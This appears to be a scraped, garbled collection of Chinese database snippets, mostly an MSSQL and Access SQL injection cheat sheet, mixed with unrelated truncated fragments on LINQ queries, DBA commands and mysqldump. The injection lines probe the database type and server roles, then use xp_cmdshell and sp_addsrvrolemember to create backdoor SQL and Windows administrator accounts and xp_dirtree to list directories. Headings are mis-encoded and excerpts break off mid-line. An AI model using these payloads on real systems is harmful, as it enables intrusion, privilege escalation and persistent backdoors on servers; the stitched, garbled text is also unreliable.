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;and 1=1
;and 1=2
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;and user>0
3.ÅжÏÊý¾Ý¿âϵͳ
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
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;and (select Count(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.Ìí¼ÓmssqlºÍϵͳµÄÕÊ»§
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)±éÀúĿ¼
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('Éϲ½µÃµ½µÄpaths'))>)
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public void MyWhere()
{
NorthwindDataContext dc = new NorthwindDataContext();
//²éѯ²úÆ·Ãû³ÆÒÔL¿ªÍ·µÄ¼Ç¼
var query = from p in dc.Products
where p.Prod ......
1. ²é¿´Êý¾Ý¿âµÄ°æ±¾
select @@version
2. ²é¿´Êý¾Ý¿âËùÔÚ»úÆ÷²Ù×÷ϵͳ²ÎÊý
exec master..xp_msver
3. ²é¿´Êý¾Ý¿âÆô¶¯µÄ²ÎÊý
sp_configure
4. ²é¿´Êý¾Ý¿âÆô¶¯Ê±¼ä
select convert(varchar(30),login_time,120) from master ......
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DML—Êý¾Ý²Ù×ÝÓïÑÔ(SELECT£¬DELETE£¬UPDATE£¬INSERT)
DCL—Êý¾Ý¿ØÖÆÓïÑÔ(GRANT£¬REVOKE£¬COMMIT£¬ROLLBACK)
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CREA ......
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*±ØÐëÔÚD:\LTSOFT\MYSQL4\bin> mysqldump -u root -p test > c:\a.sql
ÏȵýøÈëmysql°²×°Ä¿Â¼µÄbinÏ£¨¿ÉÒÔ¿´µ½ÀïÃæÓÐmysqldump.exe£©£¬Í¨³£mysqlĬÈϰ²×°ÔÚC:\Program Files\MySQL\MySQL Server 5.0
* ²»ÄܽøÈëmysql ÃüÁîÀï.
MySQLµ¼³ ......
and exists (select * from sysobjects) //ÅжÏÊÇ·ñÊÇMSSQL
and exists(select * from tableName) //ÅжÏij±íÊÇ·ñ´æÔÚ..tableNameΪ±íÃû
and 1=(select @@VERSION) //MSSQL°æ±¾
And 1=(select db_name()) //µ±Ç°Êý¾Ý¿âÃû
and 1=(select @@servername) //±¾µØ·þÎñÃû
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //Å ......